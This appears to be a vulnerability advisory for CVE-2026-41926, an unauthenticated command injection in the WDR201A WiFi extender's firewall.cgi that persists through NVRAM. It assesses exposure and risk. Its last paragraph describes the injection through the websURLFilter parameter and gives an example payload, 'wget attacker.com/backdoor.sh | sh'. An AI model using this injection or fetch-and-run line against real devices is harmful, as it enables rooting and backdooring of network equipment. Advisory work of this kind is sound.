WDR201A WiFi Extender CVE-2026-41926

No special conditions - remote unauthenticated exploitation against default configurations of WDR201A WiFi Extender. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms network accessibility with low complexity, no authentication requirements, and no user interaction. However, practical exploitation is limited by network topology: the attacker must have HTTP/HTTPS access to the device's management interface on TCP ports 80 or 443. Consumer WiFi extenders typically have management interfaces accessible only from the local network (LAN-side), NOT internet-exposed by default, which naturally limits the attack surface to adversaries already on the internal network, connected guest networks, or scenarios where users have explicitly configured port forwarding to the extender's management IP. Devices deployed in DMZ segments, on networks with compromised systems, or in environments where the management interface was intentionally exposed for remote administration face immediate exploitation risk.

This vulnerability presents EXTREME risk for internet-exposed devices. The CVSS vector AV:N/AC:L/PR:N/UI:N indicates remote exploitation requiring no authentication, low complexity, and no user interaction - the most dangerous attack profile. The persistence mechanism via NVRAM elevates this beyond typical command injection by creating an automatic re-infection vector that survives reboots and executes on every firewall.cgi access. Public exploit availability dramatically lowers the skill barrier for mass exploitation. However, real-world risk depends critically on network exposure: most consumer WiFi extenders operate on private LANs behind NAT, limiting attack surface to local network adversaries or those who've already breached the perimeter. The high CVSS score (9.3) is justified IF management interfaces are internet-reachable, but many deployments may have natural network segmentation reducing practical exploitability. No EPSS score or KEV status provided, but public POC suggests active scanning and exploitation attempts are likely. Organizations should immediately inventory these devices on network perimeters, guest networks, or DMZ segments where they may be accessible to untrusted parties.

An attacker on the same network segment as the WDR201A extender (or with internet access if management interface exposed via port forwarding) sends a crafted HTTP POST request to the device's firewall.cgi endpoint with malicious shell commands embedded in the websURLFilter parameter using backtick subshell syntax, such as wget attacker.com/backdoor.sh | sh. The vulnerable CGI binary executes the injected command with root privileges, downloading and running the attacker's payload while simultaneously persisting the command string to NVRAM. On every subsequent legitimate firewall configuration request from administrators, the stored payload automatically re-executes, maintaining persistent access even if the initial backdoor is discovered and removed from the running system. Public proof-of-concept code exists demonstrating this attack chain against firmware version 1.02.